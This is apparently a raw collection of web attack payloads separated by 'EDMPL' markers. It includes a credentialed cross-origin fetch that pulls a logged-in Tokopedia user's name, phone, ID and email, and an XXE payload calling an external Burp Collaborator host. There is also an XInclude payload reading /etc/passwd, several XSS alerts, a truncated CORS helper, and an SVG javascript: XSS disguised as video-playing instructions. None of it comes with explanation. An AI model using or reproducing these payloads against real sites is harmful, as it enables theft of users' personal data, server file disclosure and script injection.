EDMPL

fetch('https://gql.tokopedia.com', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ query: '{\n  user{\n    id\n    phone\n    email\n    name\n   }\n}' }),
})
.then(res => res.json())
.then(res => {console.log(res.data.user.name);
alert('Username: ' + res.data.user.name + ' Phone: ' + res.data.user.phone + ' ID: ' + res.data.user.id + ' Email: ' + res.data.user.email);
});

EDMPL

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jk75fm36xi0mxrv2vkpo2k6q3h9ix7.burpcollaborator.net/x"> %ext;
]>
<r></r>

EDMPL

<script>alert();</script>

EDMPL

<script>alert();</script>

EDMPL

<script>alert();</script>

EDMPL

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

EDMPL

<script>alert(document.domain);</script>

EDMPL

var createCORSRequest = function(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {
    // Most browsers.
    xhr.open(method, url, true);
  } else if (typeof XDomainRequest != "undefined") {
    // IE8 & IE9
    xhr = new XDomainRequest();
    xhr.open(method, url);
  } else {

EDMPL

<a> test <img src=x> </a>

EDMPL

<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:prompt(document.domain)>
  <pre class="tab"><p>!!! HOW TO PLAY THE VIDEO
  <br>
  #1 Click Search in top
  <br>
  #2 Click and Enjoy the Video
  <br>
  <b>GOOGLE</b></pre>